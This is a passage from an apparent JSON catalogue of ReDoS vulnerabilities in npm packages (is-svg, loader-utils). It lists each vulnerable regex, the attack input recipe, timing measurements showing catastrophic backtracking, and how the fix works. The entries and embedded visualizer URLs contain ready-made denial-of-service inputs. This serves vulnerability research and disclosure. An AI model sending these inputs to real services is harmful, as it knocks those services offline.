20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20!","verification":{"engine":"node v22.23.1","benign_ms":0.07,"curve":[{"input_length":2501,"pumps":2500,"ms":7.44,"timed_out":false},{"input_length":5001,"pumps":5000,"ms":29.64,"timed_out":false},{"input_length":10001,"pumps":10000,"ms":116.52,"timed_out":false},{"input_length":20001,"pumps":20000,"ms":466.97,"timed_out":false}],"empirical_class":"quadratic","class_agrees":true}},{"id":"is-svg-CVE-2021-28092","name":"is-svg","type":"cve","cve":"CVE-2021-28092","ghsa":"GHSA-7r28-3m3f-r2pr","cwe":"CWE-1333","ecosystem":"npm","package":"is-svg","affected":">=2.1.0 <4.3.0","patched":"4.3.0","published":"2021-03-12","discovered_by":"Yeting Li","regex":"^\\s*(?:<\\?xml[^>]*>\\s*)?(?:<!doctype svg[^>]*\\s*(?:\\[?(?:\\s*<![^>]*>\\s*)*\\]?)*[^>]*>\\s*)?(?:<svg[^>]*>[^]*<\\/svg>|<svg[^\\/>]*\\/\\s*>)\\s*$","flags":"i","complexity":"exponential","attack":{"prefix":"<!doctype svg ","pad":"<!x>","suffix":""},"benign":"<svg></svg>","fix":{"type":"regex-rewrite","summary":"The DOCTYPE sub-pattern (?:\\[?(?:\\s*<![^>]*>\\s*)*\\]?)* nests two unbounded quantifiers, giving exponential backtracking on repeated internal-subset declarations. is-svg 4.3.0 replaced the check with a non-backtracking approach.","commit":"https://github.com/sindresorhus/is-svg/releases/tag/v4.3.0"},"description":"is-svg reports whether a string is an SVG document and is used by cssnano / SVG optimisation pipelines. A crafted DOCTYPE with many internal declarations triggers exponential backtracking.","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-28092","https://github.com/advisories/GHSA-7r28-3m3f-r2pr"],"visualize":"https://aurelio-nakamura.github.io/regex-meltdown/#re=%5E%5Cs*(%3F%3A%3C%5C%3Fxml%5B%5E%3E%5D*%3E%5Cs*)%3F(%3F%3A%3C!doctype%20svg%5B%5E%3E%5D*%5Cs*(%3F%3A%5C%5B%3F(%3F%3A%5Cs*%3C!%5B%5E%3E%5D*%3E%5Cs*)*%5C%5D%3F)*%5B%5E%3E%5D*%3E%5Cs*)%3F(%3F%3A%3Csvg%5B%5E%3E%5D*%3E%5B%5E%5D*%3C%5C%2Fsvg%3E%7C%3Csvg%5B%5E%5C%2F%3E%5D*%5C%2F%5Cs*%3E)%5Cs*%24&in=%3C!doctype%20svg%20%3C!x%3E%3C!x%3E%3C!x%3E%3C!x%3E%3C!x%3E%3C!x%3E%3C!x%3E%3C!x%3E%3C!x%3E%3C!x%3E%3C!x%3E%3C!x%3E%3C!x%3E%3C!x%3E%3C!x%3E%3C!x%3E%3C!x%3E%3C!x%3E%3C!x%3E%3C!x%3E%3C!x%3E%3C!x%3E%3C!x%3E%3C!x%3E%3C!x%3E%3C!x%3E%3C!x%3E%3C!x%3E","verification":{"engine":"node v22.23.1","benign_ms":0.41,"curve":[{"input_length":70,"pumps":14,"ms":4.35,"timed_out":false},{"input_length":86,"pumps":18,"ms":62.62,"timed_out":false},{"input_length":102,"pumps":22,"ms":1010.71,"timed_out":false},{"input_length":118,"pumps":26,"ms":null,"timed_out":true}],"empirical_class":"exponential","class_agrees":true}},{"id":"loader-utils-CVE-2022-37603","name":"loader-utils","type":"cve","cve":"CVE-2022-37603","ghsa":"GHSA-3rfm-jhwj-7488","cwe":"CWE-1333","ecosystem":"npm","engine":"javascript","package":"loader-utils","affected":">=1.0.0 <1.4.2 || >=2.0.0 <2.0.4 || >=3.0.0 <3.2.1","patched":"1.4.2","published":"2022-10-14","discovered_by":"reported via GitHub advisory GHSA-3rfm-jhwj-7488","regex":"\\[(?:([^:\\]]+):)?(?:hash|contenthash)(?::([a-z]+\\d*))?(?::(\\d+))?\\]","flags":"gi","complexity":"quadratic","attack":{"prefix":"","pad":"[hash","suffix":""},"benign":"[name].[contenthash:8].[ext]","fix":{"type":"regex-rewrite","summary":"loader-utils' `interpolateName` used the regex `/\\[(?:([^:\\]]+):)?(?:hash|contenthash)(?::([a-z]+\\d*))?(?::(\\d+))?\\]/gi` to find `[hash]`/`[contenthash]` template tokens in a resource name. The optional leading group `([^:\\]]+)` matched any character except `:` and `]` — crucially it also matched `[`, so on a run of `[hash[hash[hash...` the group greedily consumed the tail across every `[` boundary, failed the following `:` and the `hash|contenthash` literal, and backtracked; because the pattern is global (`g`) and unanchored, the engine retried this greedy-consume-and-backtrack from each of the O(n) `[` start positions, giving quadratic O(n^2) blow-up. loader-utils 1.4.2 / 2.0.4 / 3.2.1 fixed it by adding `[` to the excluded character class — `([^[:\\]]+)` — so the group stops at each `[` and the total work is bounded to linear.","commit":"https://github.com/webpack/loader-utils/commit/d2d752d59629daee38f34b24307221349c490eb1"},"description":"loader-utils is a core utility package of the webpack ecosystem (used by countless webpack loaders to build output file names from templates), with tens of millions of weekly downloads. Its `interpolateName` helper expands `[hash]`/`[contenthash]` tokens using the regex `/\\[(?:([^:\\]]+):)?(?:hash|contenthash)(?::([a-z]+\\d*))?(?::(\\d+))?\\]/gi`. The optional group `([^:\\]]+)` excludes only `:` and `]`, so it also matches the `[` character. Against a resource name (or template) containing a long run such as `[hash[hash[hash...`, the group greedily consumes the run across bracket boundaries, fails the required `:` and the `hash`/`contenthash` literal, and backtracks; since the regex is global and unanchored, it repeats this from every `[` start offset, producing quadratic O(n^2) time. Because file names can be attacker-influenced (for example a crafted resourcePath or query), this is a denial-of-service vector. The fix (loader-utils 1.4.2, 2.0.4 and 3.2.1) simply added `[` to the excluded set — `([^[:\\]]+)` — bounding the scan to linear time.","references":["https://nvd.nist.gov/vuln/detail/CVE-2022-37603","https://github.com/advisories/GHSA-3rfm-jhwj-7488","https://github.com/webpack/loader-utils/issues/216","https://github.com/webpack/loader-utils/commit/d2d752d59629daee38f34b24307221349c490eb1"],"visualize":"https://aurelio-nakamura.github.io/regex-meltdown/#re=%5C%5B(%3F%3A(%5B%5E%3A%5C%5D%5D%2B)%3A)%3F(%3F%3Ahash%7Ccontenthash)(%3F%3A%3A(%5Ba-z%5D%2B%5Cd*))%3F(%3F%3A%3A(%5Cd%2B))%3F%5C%5D&in=%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5Bhash%5B